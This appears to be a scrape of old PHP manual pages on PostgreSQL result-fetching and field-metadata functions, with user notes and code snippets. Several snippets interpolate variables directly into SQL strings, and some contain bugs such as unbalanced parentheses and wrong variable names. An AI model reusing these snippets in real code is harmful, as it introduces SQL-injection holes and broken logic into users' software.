Here is much powerful pg_parse_array() variant, based on FSM: for any dimension Postgres arrays (its string representation must be well-formed), with quotation rules checks, complexity O(N), where N is a length of string representation of Postgres array:

<?php

define('STATE_BEGIN', 1);
define('STATE_INARRAY',2);
define('STATE_OUTARRAY', 3);
define('STATE_INSLASH', 4);
define('STATE_INQUOTES', 5);

function pg_parse_array($value) {
        $resultArray = $indexArray = array(); $level = $index = 0;
        $ptr = &$resultArray;
        for($i = 0; $i < strlen($value); $i++){
            switch($level){
                case 1:
                    if($index > 0){
                        $ptr = & $ptr[sizeof($ptr)];
                    }
                    $indexArray[++$index] = & $ptr;
                    break;
                case -1:
                    $ptr = & $indexArray[--$index];
                    break;
            }
            $level = processFSM($value{$i}, $ptr);
        }
        return $resultArray;
    }

    function processFSM($chr, &$result){
        static $state = STATE_BEGIN, $index = 0;
        $level = 0;
        switch(true){
            case $chr == '{' && in_array($state, array(STATE_BEGIN,STATE_INARRAY,STATE_OUTARRAY), true):
                $state = STATE_INARRAY;
                $index = 0;
                $level = +1;
                break;
            case $chr == '}' && in_array($state, array(STATE_INARRAY,STATE_OUTARRAY), true):
                $state = STATE_OUTARRAY;
                $level = -1;
                break;
            case $chr == '\\' && $state !== STATE_BEGIN:
                $state = $state === STATE_INSLASH ? STATE_INQUOTES : STATE_INSLASH;
                break;

            case $chr == '"' && !in_array($state, array(STATE_BEGIN,STATE_INSLASH), true):
                $state = $state === STATE_INQUOTES ? STATE_INARRAY : STATE_INQUOTES;
                break;

            case $chr == ',' && in_array($state, array(STATE_INARRAY,STATE_OUTARRAY), true):
                $index = sizeof($result);
                break;

            case $state !== STATE_BEGIN:
                $state = $state === STATE_INSLASH ? STATE_INQUOTES : $state;
                isset($result[$index]) or $result[$index] = '';
                $result[$index] .= $chr;
                break;
        }
        return $level;
    }

?>
Anonymous 16-Jan-2010 12:16
Be aware that if one of your result fields is an array, it will be output as a string using the general format of '{value1,value2, ... }' in accordance with postgres's behavior with SQL arrays.
http://www.postgresql.org/docs/8.4/static/arrays.html#ARRAYS-IO

So, here is a function to convert simple (one-dimensional) SQL arrays to PHP arrays:

<?php
function pg_parse_array($field)
/*
 * Converts a simple SQL array field to its PHP equivalent.  e.g:
 *
 *    {null}              --> Array(null);
 *    {"null"}            --> Array("null");
 *    {foo,bar}           --> Array("foo", "bar");
 *    {"foo,bar"}         --> Array("foo,bar");
 *    {"Hello \"World\""} --> Array('Hello "World"');
 *
 */
{
  // NULL fields are always NULL
  if (!is_string($field)) return $field;

  // Check for curly braces which may indicate an SQL array field
  if ($field[0] != '{' or substr($field, -1) != '}') return $field;
  $field = trim(substr($field, 1, -1));

  $array = Array();

  // Break up the string into the following:
  //  - quoted text that MAY have special chars escaped by a backslash
  //  - unquoted text that may NOT have special chars
  $search = '/(")?+((?(1)(?:\\\\.|[^"])*|[^,]+))(?(1)\\1)/';
  preg_match_all($search, $field, $matches, PREG_SET_ORDER);

  foreach($matches as $value)
  {
    if ($value[1])
    {
      // Quoted element, with backslash used to escape chars
      $array[] = preg_replace('#\\\\(.)#', '$1', $value[2]);
    }
    else
    {
      // Unquoted element
      $value[2] = trim($value[2]);
      if (strtolower($value[2]) == 'null') $array[] = null; // NULL
      else $array[] = $value[2];
    }
  }
  return $array;
}

// Some tests to demonstrate this function
var_export(pg_parse_array('{null}'); // Output is Array(null);
var_export(pg_parse_array('{foo,bar}'); // Output is Array('foo', 'bar');
var_export(pg_parse_array('{"null"}'); // Output is Array('null');

?>
Anonymous 19-May-2009 05:24
Beware!  If your query returns multiple columns with the same names, only the right-most one will be contained in the result array.  This can cause problems if you are using a combination of joins:

For example:
<?php
// Let's say that 'pkey' is the primary-key colum for tables a and b (primary keys are never null)
$res = pg_query("Select a.pkey, b.* FROM a LEFT JOIN b using (pkey)");
$data = pg_fetch_assoc($res);
var_dump($data['pkey']) // Is actually b.pkey, may be NULL!
?>

Both tables contain a column named 'pkey'.  Now table 'b' is on the optional side of a LEFT JOIN, so b.pkey (implicitly included via 'b.*') may be NULL.

The problem arises when you use pg_fetch_assoc(), there are two columns named 'pkey' but the result array can only contain one value per key -- in this case it will pick the one from table B instead of the one from table A, and since B is on the optional side of the left-join, $data['pkey'] may be NULL.  So if you're expecting to retrieve the column from table A, you need to use a different pg_fetch() or rewrite your query to avoid ambiguity.
Anonymous 14-Oct-2008 02:18
bytea columns are returned escaped.
you need to call pg-unescape-bytea() on them to get the original binary back.
Anonymous 14-Oct-2008 01:03
regarding the optional int parameter

requesting a row number that is not present in the result set is an error. don't do it.

check with pg_num_rows() beforehand, or  just use the default behavior which returns the rows in order and false after returning the last row it returns false immediately if no rows were returned.
strata_ranger at hotmail dot com 27-Aug-2008 12:01
In a bit of follow-up to Luke's note about SQL booleans (this was a painful thing to learn the hard way), a relatively easy workaround is to typecase the boolean columns to integer inside the query, e.g:

<?php
// Assuming 'foo' is a table column of type boolean
$res = pg_query("Select foo as foo1, foo::integer as foo2 from bar");

$data = pg_fetch_assoc($res);
if ($data['foo1']) echo 'foo1 = TRUE'; // Doesn't work as expected (string 't' and string 'f' both evaluate as TRUE)
if ($data['foo2']) echo 'foo2 = TRUE'; // Works as expected (string '0' evaluates as FALSE)
?>
javier dot vilarroig at gmail dot com 02-Oct-2007 06:57
Is worth to know that when you query on multiple tables only the first row with each name is returned.

That is, if you are joining to tables with a column called 'name' you will receive only one field called name in the array and it will correspond to the one on the first table.

Is advisable to allways allias your columns in that stuation.
johniskew 01-Mar-2007 06:28
Here is another way to iterate a resultset and display all columns in very little code... might be faster than a foreach

<?php

print '<table>';
while($row=pg_fetch_assoc($rs2)) print '<tr><td>'.join('</td><td>',$row2).'</td></tr>';
print '</table>';

?>
24-May-2006 09:59
If you request a row that does not exist, it just fails, rather than simply returning false.
Luke 22-Sep-2005 03:34
Note:

PostgreSQL boolean values set to TRUE are returned as the string "t"

PostgreSQL boolean values set to FALSE are returned as the string "f"
petrus at bmail dot com dot au 25-Feb-2005 04:22
$dbconn3 = pg_connect("host=127.0.0.1 port=5432 dbname=blah user=blah password=blah");
$result = pg_query($dbconn3, "SELECT * FROM Packages");

 echo "<HTML><HEAD><TITLE>PostgreSQL Test Page</TITLE></HEAD><BODY>";
 echo "<TABLE>";

$pkg = pg_fetch_assoc($result);
foreach ($pkg as $value) {
    echo "<TR><TD>$value";
    echo "</TR></TD>";
 }

echo "</TABLE><P>";
echo "This package's full filename is: {$pkg['name']}-{$pkg['version']}{$pkg['extension']}";
echo "</BODY></HTML>";

For generating tables, this works, and personally I prefer foreach() to while loops because there's no danger of accidentally causing an infinite loop...foreach only works for as long as it has something to work with, and then stops.  I thought the echo down the bottom might come in handy, too...took me a bit to find that out.
spam at pasher dot org 25-Oct-2003 03:35
An important thing to note (as of PHP 4.3.2):

If you are used to using the "extended" comparision operators (=== and !==) to try to make your code easier to follow visually, this function will return NULL if the provided resource handle is invalid (as opposed to false). ie,

$rs = @pg_query('SELECT * FROM fake_table');
while (false !== ($row = @pg_fetch_assoc($rs)))
{
    print_r($row);
}

Obviously you should check to see if $rs === false before you start the while loop, but this example is used to illustrate a potential infinite loop problem if $rs IS false.
ninja (whorl) thinkninja (stop) com 21-Jun-2003 05:29
If you are moving between different versions of PHP, this might be handy:

if (!function_exists('pg_fetch_assoc')) {
    function pg_fetch_assoc ($result)
    {
      return @pg_fetch_array($result, NULL, PGSQL_ASSOC);
    }
}
Brenton Strickler 07-Jan-2003 02:53
At a glance, the syntax listed at the top of this page doesn't match the example.  The PGSQL_ASSOC flag isn't necessary.


Fetch a row as an object

  • « pg_fetch_assoc
  • pg_fetch_result »
  • PHP Manual
  • PostgreSQL Functions
  • Fetch a row as an object

pg_fetch_object

(PHP 4, PHP 5)

pg_fetch_object — Fetch a row as an object

Description

object pg_fetch_object ( resource $result [, int $row [, int $result_type = PGSQL_ASSOC ]] )
object pg_fetch_object ( resource $result [, int $row [, string $class_name [, array $params ]]] )

pg_fetch_object() returns an object with properties that correspond to the fetched row's field names. It can optionally instantiate an object of a specific class, and pass parameters to that class's constructor.

Note: This function sets NULL fields to the PHP NULL value.

Speed-wise, the function is identical to pg_fetch_array(), and almost as fast as pg_fetch_row() (the difference is insignificant).

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

row

Row number in result to fetch. Rows are numbered from 0 upwards. If omitted or NULL, the next row is fetched.

result_type

Ignored and deprecated.

class_name

The name of the class to instantiate, set the properties of and return. If not specified, a stdClass object is returned.

params

An optional array of parameters to pass to the constructor for class_name objects.

Return Values

An object with one attribute for each field name in the result. Database NULL values are returned as NULL.

FALSE is returned if row exceeds the number of rows in the set, there are no more rows, or on any other error.

Examples

Example #1 pg_fetch_object() example

<?php

$database = "store";

$db_conn = pg_connect("host=localhost port=5432 dbname=$database");
if (!$db_conn) {
  echo "Failed connecting to postgres database $database\n";
  exit;
}

$qu = pg_query($db_conn, "SELECT * FROM books ORDER BY author");

while ($data = pg_fetch_object($qu)) {
  echo $data->author . " (";
  echo $data->year . "): ";
  echo $data->title . "<br />";
}

pg_free_result($qu);
pg_close($db_conn);

?>

See Also

  • pg_query() - Execute a query
  • pg_fetch_array() - Fetch a row as an array
  • pg_fetch_assoc() - Fetch a row as an associative array
  • pg_fetch_row() - Get a row as an enumerated array
  • pg_fetch_result() - Returns values from a result resource

User Contributed Notes

qeremy [atta] gmail [dotta] com 27-Jul-2012 09:20
Getting db results as object.

<?php
$qry = pg_query("SELECT * FROM users");

$rows = array();
while ($fch = pg_fetch_object($qry)) {
   $rows[] = $fch;
}

// or

$rows = array_map(function($a){
   return (object) $a;
}, (array) pg_fetch_all($qry));
?>
ekevu at yahoo dot com 03-Jul-2007 04:36
PostgreSQL boolean true becomes string "t"
PostgreSQL boolean false becomes string "f"
This is ambiguous, and leads to code duplication. I wonder why aren't the types correctly typed when fetching values. We could at least have an optional parameter to enable that.
robeddielee at hotmail dot com 27-Jan-2006 08:38
I noticed that many people use FOR loops to extract query data. This is the method I use to extract data.

<?php
 @$members = pg_query($db_conn, 'SELECT id,name FROM boards.members ORDER BY name;');
 if ($members AND pg_num_rows($members)) {
  while ($member = pg_fetch_object($members)) {
   echo $member->name.' ('.$member->id.')';
  }
 }
?>

If an error occurs (or nothing is returned) in the above code nothing will output. An ELSE clause can be added to the IF to handle query errors (or nothing being returned). Or a seperate check can be performed for the event that nothing is returned by using an ELSEIF clause.

I like this method because it doesn't use any temporary counter variables.
oracle dot shinoda at gmail dot com 16-Nov-2004 03:13
If you're wanting to use objects for your results, but are put off because you can't seem to apply a function to each field of the result (like stripslashes for example), try this code:

<?php
// Code to connect, do query etc etc...

$row = pg_fetch_object($result);
$vars = get_object_vars($row);
foreach ( $vars as $key => $var )
{
    $row->{$key} = stripslashes($var);
}

?>
michiel at minas-2 dot demon dot nl 16-Jun-2004 05:13
Something I have learned to use:

$result=$pg_query (...);
$num = pg_numrows($result);

for($count=0;$count < $num && $data=pg_fetch_object($result,$count);$count++)
{
    printf("<tr>\n");
    printf("    <td>%s</td>\n",$data->foo);
    printf("    <td>%s</td>\n",$data->bar);
    printf("</tr>\n");
}
Lars at dybdahl dot dk 14-Oct-2003 05:43
When you retrieve the contents of a "timestamp with timezone" field, this will set the environment's timezone variables. Therefore, this is dangerous:

$s=$row->mydatefield;
$unixtimestamp=postgresqltimestamp2unix($s);
echo date("Y-m-d H:i:s",$unixtimestamp);

Here, postgresqltimestamp2unix is a function that converts the postgresql timestamp to Unix. The retrieval of the field data in the first line of the example above will influence the timezone used in date() in the third line.
ian at eiloart dot com 10-Feb-2003 04:27
This isn't all that useful. If you do, for example, foreach($row as $field) then you still get every value twice!

You can do something like this, though:

foreach ($line as $key => $cell){
     if (! is_numeric($key)){
                echo "<td>$key $cell</td>";
     }
}

is is_numeric strict enough?
inbox at bucksvsbytes dot com 16-Mar-2002 06:13
The result_type arg is either invalid or incorrectly documented, since the "result_type is optional..." paragraph is copied verbatim from pg_fetch_array, and the PGSQL_NUM option is in conflict with the preceding paragraph's, "you can only access the data by the field names, and not by their
offsets."


Returns values from a result resource

  • « pg_fetch_object
  • pg_fetch_row »
  • PHP Manual
  • PostgreSQL Functions
  • Returns values from a result resource

pg_fetch_result

(PHP 4 >= 4.2.0, PHP 5)

pg_fetch_result — Returns values from a result resource

Description

string pg_fetch_result ( resource $result , int $row , mixed $field )
string pg_fetch_result ( resource $result , mixed $field )

pg_fetch_result() returns the value of a particular row and field (column) in a PostgreSQL result resource.

Note:

This function used to be called pg_result().

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

row

Row number in result to fetch. Rows are numbered from 0 upwards. If omitted, next row is fetched.

field

A string representing the name of the field (column) to fetch, otherwise an int representing the field number to fetch. Fields are numbered from 0 upwards.

Return Values

Boolean is returned as "t" or "f". All other types, including arrays are returned as strings formatted in the same default PostgreSQL manner that you would see in the psql program. Database NULL values are returned as NULL.

FALSE is returned if row exceeds the number of rows in the set, or on any other error.

Examples

Example #1 pg_fetch_result() example

<?php
$db = pg_connect("dbname=users user=me") || die();

$res = pg_query($db, "SELECT 1 UNION ALL SELECT 2");

$val = pg_fetch_result($res, 1, 0);

echo "First field in the second row is: ", $val, "\n";
?>

The above example will output:

First field in the second row is: 2

See Also

  • pg_query() - Execute a query
  • pg_fetch_array() - Fetch a row as an array

User Contributed Notes

Alan U. Kennington 22-Sep-2006 03:49
See bug #33809 http://bugs.php.net/bug.php?id=33809
Whether this really is a bug or a feature is not clear.
However, it is probably best to always put your column names in extra quotes.

$res = pg_query(...);
$colname = pg_field_name($res, $j);
pg_fetch_result($res, $i, "\"$colname\"");
Alan U Kennington 22-Sep-2006 02:16
In order to use upper case in pg_fetch_result column names, it is apparently necessary to include explicit quotation marks.

Thus when I do this sort of thing:

$res = pg_query(...);
$ncols = pg_num_fields($res);
for ($j = 0; $j < $ncols; ++$j) {
    $colname[$j] = pg_field_name($res, $j);
    $name = htmlspecialchars($colname[$j]);
    print("Column $j name = \"$name\"\n");
    $value = htmlspecialchars(pg_fetch_result($res, 0, $colname[$j]));
    print("Column \"{$colname[$j]}\" value = \"$value\"\n");
    }

I get this sort of thing:

[....]
Warning: pg_fetch_result() [function.pg-fetch-result]: Bad column offset specified in /.../view.php on line 247
Column 8 name = "VEC index"
Column "VEC index" value = ""

But if I change the $value line to this:

$value = htmlspecialchars(pg_fetch_result($res, 0, "\"$colname[$j]\""));

I get this:

[...]
Column 8 name = "VEC index"
Column "VEC index" value[0] = "47"

In my opinion, pg_fetch_result(...) should use the quotes already. In other words, this may be a bug in the PHP postgres library. It does not seem to be a documented feature of pg_fetch_result() although the postgresql manual documents it under "SQL syntax", "Lexical structure".

PHP version 5.1.4.
psql version 8.1.4.
Akbar 01-Dec-2004 05:01
Use can use pg_fetch_result when getting a value (like a smallint as in this example) returned by your stored procedure

<?php
$pgConnection = pg_connect("dbname=users user=me");

$userNameToCheckFor = "metal";

$result = pg_query($pgConnection, "SELECT howManyUsersHaveThisName('$userNameToCheckFor')");

$count = pg_fetch_result($result, 0, 'howManyUsersHaveThisName');

?>
newby_AT_nobletec_DOT_com 04-Sep-2002 05:12
Comment on boolean fields:

If you retrieve a boolean value from the PostgreSQL database, be aware that the value returned will be either the character 't' or the character 'f', not an integer.  So, the statement

     if (pg_fetch_result($rsRecords,0,'blnTrueFalseField')) {
       echo "TRUE";
     } else {
       echo "FALSE";
     }

will echo "TRUE" in either case (True or False stored in the field).  In order to work as expected, do this instead:

     if (pg_fetch_result($rsRecords,0,'blnTrueFalseField') == 't') {
       echo "TRUE";
     } else {
       echo "FALSE";
     }


Get a row as an enumerated array

  • « pg_fetch_result
  • pg_field_is_null »
  • PHP Manual
  • PostgreSQL Functions
  • Get a row as an enumerated array

pg_fetch_row

(PHP 4, PHP 5)

pg_fetch_row — Get a row as an enumerated array

Description

array pg_fetch_row ( resource $result [, int $row ] )

pg_fetch_row() fetches one row of data from the result associated with the specified result resource.

Note: This function sets NULL fields to the PHP NULL value.

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

row

Row number in result to fetch. Rows are numbered from 0 upwards. If omitted or NULL, the next row is fetched.

Return Values

An array, indexed from 0 upwards, with each value represented as a string. Database NULL values are returned as NULL.

FALSE is returned if row exceeds the number of rows in the set, there are no more rows, or on any other error.

Examples

Example #1 pg_fetch_row() example

<?php

$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occurred.\n";
  exit;
}

$result = pg_query($conn, "SELECT author, email FROM authors");
if (!$result) {
  echo "An error occurred.\n";
  exit;
}

while ($row = pg_fetch_row($result)) {
  echo "Author: $row[0]  E-mail: $row[1]";
  echo "<br />\n";
}

?>

See Also

  • pg_query() - Execute a query
  • pg_fetch_array() - Fetch a row as an array
  • pg_fetch_object() - Fetch a row as an object
  • pg_fetch_result() - Returns values from a result resource

User Contributed Notes

eddie at eddiemonge dot com 07-Oct-2009 02:09
pg_fetch_row is faster than pg_fetch_assoc when doing a query with * as the select parameter. Otherwise, with declared columns, the two are similar in speed.
pletiplot at seznam dot cz 07-Jun-2006 12:18
Note, that when you retrieve some PG boolean value, you get 't' or 'f' characters which are not compatible with PHP bool.
post at zeller-johannes dot de 26-Apr-2005 11:51
I wondered whether array values of PostgreSQL are converted to PHP arrays by this functions. This is not the case, they are stored in the returned array as a string in the form "{value1 delimiter value2 delimiter value3}" (See http://www.postgresql.org/docs/8.0/interactive/arrays.html#AEN5389).
maxnamara at yahoo dot com 14-Oct-2004 09:03
Get downlines, put them into arrays.

function get_downlines($my_code){
    global $link;

    $sql = "select user_id, name from tb_user where parentcode = $my_code";
    $res = pg_query($link,$sql);
    if(!$res){
        echo "Error: ".$sql;exit();
    }
    $num_fields = pg_num_fields($res);
    $info_rows = 0;

    $num_rows = pg_num_rows($res);
    while($arr = pg_fetch_row($res)){

           $info_offset  = 1;
         $info_columns  = 0;

        while ($info_offset <= $num_fields) {
                 $info_elements[$info_rows][$info_columns] = $arr[$info_columns];
                 $info_offset++; $info_columns++;
        }
        $info_rows++;
    }
return $info_elements;
}
Matthew Wheeler 23-May-2003 06:29
Note that the internal row counter is incremented BEFORE the row is retrieved. This causes an off by one error if you try to do:

pg_result_seek($resid,0);
pg_fetch_row($resid);

you will get back the SECOND result not the FIRST.
imantr at cbn dot net dot id 24-Jul-2002 05:38
I use the following code to assigning query result to an array.

while ($row = pg_fetch_row($result)) $newArray[] = $row[0];

print_r($newArray);
darw75 at swbell dot net 23-Aug-2001 02:39
a way to do this with 2 loops to insert data into a table...

$num = pg_numrows($result);
$col_num = pg_numfields($result);

for ($i=0; $i<$num; $i++) {
  $line  = pg_fetch_array($result, $i, PGSQL_ASSOC);
  print "\t<tr bgcolor=#dddddd>\n";
    for ($j=0; $j<$col_num; $j++){
    list($col_name, $col_value) =each($line);
    print "\t\t<TD ALIGN=RIGHT><FONT SIZE=1 FACE='Geneva'>$col_value</FONT></TD>\n";
    }
  echo "<br>";
  }


Test if a field is SQL NULL

  • « pg_fetch_row
  • pg_field_name »
  • PHP Manual
  • PostgreSQL Functions
  • Test if a field is SQL NULL

pg_field_is_null

(PHP 4 >= 4.2.0, PHP 5)

pg_field_is_null — Test if a field is SQL NULL

Description

int pg_field_is_null ( resource $result , int $row , mixed $field )
int pg_field_is_null ( resource $result , mixed $field )

pg_field_is_null() tests if a field in a PostgreSQL result resource is SQL NULL or not.

Note:

This function used to be called pg_fieldisnull().

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

row

Row number in result to fetch. Rows are numbered from 0 upwards. If omitted, current row is fetched.

field

Field number (starting from 0) as an integer or the field name as a string.

Return Values

Returns 1 if the field in the given row is SQL NULL, 0 if not. FALSE is returned if the row is out of range, or upon any other error.

Examples

Example #1 pg_field_is_null() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die ("Could not connect");
  $res = pg_query($dbconn, "select * from authors where author = 'Orwell'");
  if ($res) {
      if (pg_field_is_null($res, 0, "year") == 1) {
          echo "The value of the field year is null.\n";
      }
      if (pg_field_is_null($res, 0, "year") == 0) {
          echo "The value of the field year is not null.\n";
    }
 }
?>

User Contributed Notes

There are no user contributed notes for this page.


Returns the name of a field

  • « pg_field_is_null
  • pg_field_num »
  • PHP Manual
  • PostgreSQL Functions
  • Returns the name of a field

pg_field_name

(PHP 4 >= 4.2.0, PHP 5)

pg_field_name — Returns the name of a field

Description

string pg_field_name ( resource $result , int $field_number )

pg_field_name() returns the name of the field occupying the given field_number in the given PostgreSQL result resource. Field numbering starts from 0.

Note:

This function used to be called pg_fieldname().

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

field_number

Field number, starting from 0.

Return Values

The field name, or FALSE on error.

Examples

Example #1 Getting information about fields

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  $res = pg_query($dbconn, "select * from authors where author = 'Orwell'");
  $i = pg_num_fields($res);
  for ($j = 0; $j < $i; $j++) {
      echo "column $j\n";
      $fieldname = pg_field_name($res, $j);
      echo "fieldname: $fieldname\n";
      echo "printed length: " . pg_field_prtlen($res, $fieldname) . " characters\n";
      echo "storage length: " . pg_field_size($res, $j) . " bytes\n";
      echo "field type: " . pg_field_type($res, $j) . " \n\n";
  }
?>

The above example will output:

column 0
fieldname: author
printed length: 6 characters
storage length: -1 bytes
field type: varchar

column 1
fieldname: year
printed length: 4 characters
storage length: 2 bytes
field type: int2

column 2
fieldname: title
printed length: 24 characters
storage length: -1 bytes
field type: varchar

See Also

  • pg_field_num() - Returns the field number of the named field

User Contributed Notes

12-Aug-2004 07:01
In fact you can extract the size of the varchar field, by simply sending the following query:
"select a.atttypmod,a.attrelid from pg_attribute as a, pg_class as c where c.relname='$table' AND a.attrelid=c.oid AND a.attname='$field'"

here is a simple function that does that:

function get_field_size($table, $field, $link) {

        $result = pg_query($link, "select a.atttypmod,a.attrelid from pg_attribute as a, pg_class as c where c.relname='$table' AND a.attrelid=c.oid AND a.attname='$field'");

        $data = pg_fetch_object($result);

        return ($data->atttypmod - 4);

}

returned value is a size of a given field (also varchar)
ccasal at compuserve dot com 12-Jan-2001 08:51
The pg_fieldname function only returns the unqualified name from the select statement. example:

select c.name, con.name from customer c, contacts con where con.customer_id = c.id;

pg_fieldname will return "name" for both fields instead of c.name and con.name.

This is a PostgreSQL limitation, not a PHP limitation.

if you need different field names you should use :

select c.name as customer_name, con.name as contact_name from customer c, contacts con where con.customer_id = c.id;

then pg_fieldname will return "customer_name" and "contact_name"


Returns the field number of the named field

  • « pg_field_name
  • pg_field_prtlen »
  • PHP Manual
  • PostgreSQL Functions
  • Returns the field number of the named field

pg_field_num

(PHP 4 >= 4.2.0, PHP 5)

pg_field_num — Returns the field number of the named field

Description

int pg_field_num ( resource $result , string $field_name )

pg_field_num() will return the number of the field number that corresponds to the field_name in the given PostgreSQL result resource.

Note:

This function used to be called pg_fieldnum().

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

field_name

The name of the field.

Return Values

The field number (numbered from 0), or -1 on error.

Examples

Example #1 Getting information about fields

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  $res = pg_query($dbconn, "select author, year, title from authors where author = 'Orwell'");

  echo "Column 'title' is field number: ", pg_field_num($res, 'title');
?>

The above example will output:

Column 'title' is field number: 2

See Also

  • pg_field_name() - Returns the name of a field

User Contributed Notes

There are no user contributed notes for this page.


Returns the printed length

  • « pg_field_num
  • pg_field_size »
  • PHP Manual
  • PostgreSQL Functions
  • Returns the printed length

pg_field_prtlen

(PHP 4 >= 4.2.0, PHP 5)

pg_field_prtlen — Returns the printed length

Description

int pg_field_prtlen ( resource $result , int $row_number , mixed $field_name_or_number )
int pg_field_prtlen ( resource $result , mixed $field_name_or_number )

pg_field_prtlen() returns the actual printed length (number of characters) of a specific value in a PostgreSQL result. Row numbering starts at 0. This function will return FALSE on an error.

field_name_or_number can be passed either as an integer or as a string. If it is passed as an integer, PHP recognises it as the field number, otherwise as field name.

See the example given at the pg_field_name() page.

Note:

This function used to be called pg_fieldprtlen().

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

row

Row number in result. Rows are numbered from 0 upwards. If omitted, current row is fetched.

Return Values

The field printed length, or FALSE on error.

Examples

Example #1 Getting information about fields

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  $res = pg_query($dbconn, "select * from authors where author = 'Orwell'");
  $i = pg_num_fields($res);
  for ($j = 0; $j < $i; $j++) {
      echo "column $j\n";
      $fieldname = pg_field_name($res, $j);
      echo "fieldname: $fieldname\n";
      echo "printed length: " . pg_field_prtlen($res, $fieldname) . " characters\n";
      echo "storage length: " . pg_field_size($res, $j) . " bytes\n";
      echo "field type: " . pg_field_type($res, $j) . " \n\n";
  }
?>

The above example will output:

column 0
fieldname: author
printed length: 6 characters
storage length: -1 bytes
field type: varchar

column 1
fieldname: year
printed length: 4 characters
storage length: 2 bytes
field type: int2

column 2
fieldname: title
printed length: 24 characters
storage length: -1 bytes
field type: varchar

See Also

  • pg_field_size() - Returns the internal storage size of the named field

User Contributed Notes

djmaze@moocms 25-Aug-2007 02:01
Or even easier to keep things simple on fetching

SELECT a.attname AS name, t.typname AS type, a.attstorage AS i,
    CASE WHEN a.attlen = -1 THEN a.atttypmod ELSE a.attlen END AS size
    FROM pg_attribute a , pg_class c, pg_type t
    WHERE c.relname = 'moo_members'
    AND a.attrelid = c.oid AND a.atttypid = t.oid and a.attnum > 0 and not a.attisdropped
gregm at gxsnmp dot org 12-Feb-2007 05:11
If you update the query to this:

$s = "SELECT a.attname AS name, t.typname AS type, a.attlen AS size, a.atttypmod AS len, a.attstorage AS i
   FROM pg_attribute a , pg_class c, pg_type t
   WHERE c.relname = '$TABLE'
   AND a.attrelid = c.oid AND a.atttypid = t.oid and a.attnum > 0 and not a.attisdropped";

You get postgres to filter out the 'postgres' columns and get only your columns back.
r dot galovic at r-3 dot at 18-Apr-2005 10:54
mysql_field_len () function and more for postgres ...

problems ...
* pg_field_prtlen ... gives the actual size of the field back (it shows the count of the content allready inside the field - not the possible max-len)
* pg_filed_size ... can't be used for varchar or bpchar fields

...but there is a way to get the real-max-length of a field in postgreSQL via the system tables:

//returns an array with infos of every field in the table (name, type, length, size)
function SQLConstructFieldsInfo($TABLE, $DBCON)
{
    $s="SELECT a.attname AS name, t.typname AS type, a.attlen AS size, a.atttypmod AS len, a.attstorage AS i
    FROM pg_attribute a , pg_class c, pg_type t
    WHERE c.relname = '$TABLE'
    AND a.attrelid = c.oid AND a.atttypid = t.oid";

    if ($r = pg_query($DBCON,$s))
    {
        $i=0;
        while ($q = pg_fetch_assoc($r))
        {
               $a[$i]["type"]=$q["type"];
               $a[$i]["name"]=$q["name"];
               if($q["len"]<0 && $q["i"]!="x")
               {
                   // in case of digits if needed ... (+1 for negative values)
                   $a[$i]["len"]=(strlen(pow(2,($q["size"]*8)))+1);
               }
               else
               {
                   $a[$i]["len"]=$q["len"];
               }
               $a[$i]["size"]=$q["size"];
            $i++;
        }
        return $a;
    }
    return null;
}

// usage
$DBCON=pg_connect("host=YOUR-HOST port=YOUR-PORT dbname=YOUR-DB user=YOUR-USER password=YOUR-PASS");
$TABLE="YOUR-TABLENAME";
$RET=SQLConstructFieldsInfo($TABLE, $DBCON);

$j = count($RET);
for ($i=0; $i < $j; $i++)
{
    echo "<br>$i name=".$RET[$i]["name"]." type=".$RET[$i]["type"]." length=".$RET[$i]["len"]." size=".$RET[$i]["size"]." bytes";
}


Returns the internal storage size of the named field

  • « pg_field_prtlen
  • pg_field_table »
  • PHP Manual
  • PostgreSQL Functions
  • Returns the internal storage size of the named field

pg_field_size

(PHP 4 >= 4.2.0, PHP 5)

pg_field_size — Returns the internal storage size of the named field

Description

int pg_field_size ( resource $result , int $field_number )

pg_field_size() returns the internal storage size (in bytes) of the field number in the given PostgreSQL result.

Note:

This function used to be called pg_fieldsize().

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

field_number

Field number, starting from 0.

Return Values

The internal field storage size (in bytes). -1 indicates a variable length field. FALSE is returned on error.

Examples

Example #1 Getting information about fields

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  $res = pg_query($dbconn, "select * from authors where author = 'Orwell'");
  $i = pg_num_fields($res);
  for ($j = 0; $j < $i; $j++) {
      echo "column $j\n";
      $fieldname = pg_field_name($res, $j);
      echo "fieldname: $fieldname\n";
      echo "printed length: " . pg_field_prtlen($res, $fieldname) . " characters\n";
      echo "storage length: " . pg_field_size($res, $j) . " bytes\n";
      echo "field type: " . pg_field_type($res, $j) . " \n\n";
  }
?>

The above example will output:

column 0
fieldname: author
printed length: 6 characters
storage length: -1 bytes
field type: varchar

column 1
fieldname: year
printed length: 4 characters
storage length: 2 bytes
field type: int2

column 2
fieldname: title
printed length: 24 characters
storage length: -1 bytes
field type: varchar

See Also

  • pg_field_prtlen() - Returns the printed length
  • pg_field_type() - Returns the type name for the corresponding field number

User Contributed Notes

ij at NOSPAM dot irj dot co dot za 14-Jun-2005 01:21
To view the file structure of a table using a sql query

select pg_class.relname, pg_attribute.attname, pg_type.typname, pg_type.typlen from pg_class, pg_attribute, pg_type  where pg_class.relname = 'YOURTABLENAME' and pg_class.oid = pg_attribute.attrelid and pg_type.oid = pg_attribute.atttypid having attnum > 0
php at tribun dot de 23-Feb-2005 02:49
function get_create_syntax( $table )
{
  $qry  =  "
            SELECT    *
            FROM      $table
            LIMIT     1
          ";
  $res = pg_query( $qry );
  $row = pg_fetch_assoc( $res );

  $create = "CREATE TABLE $table \n(\n";

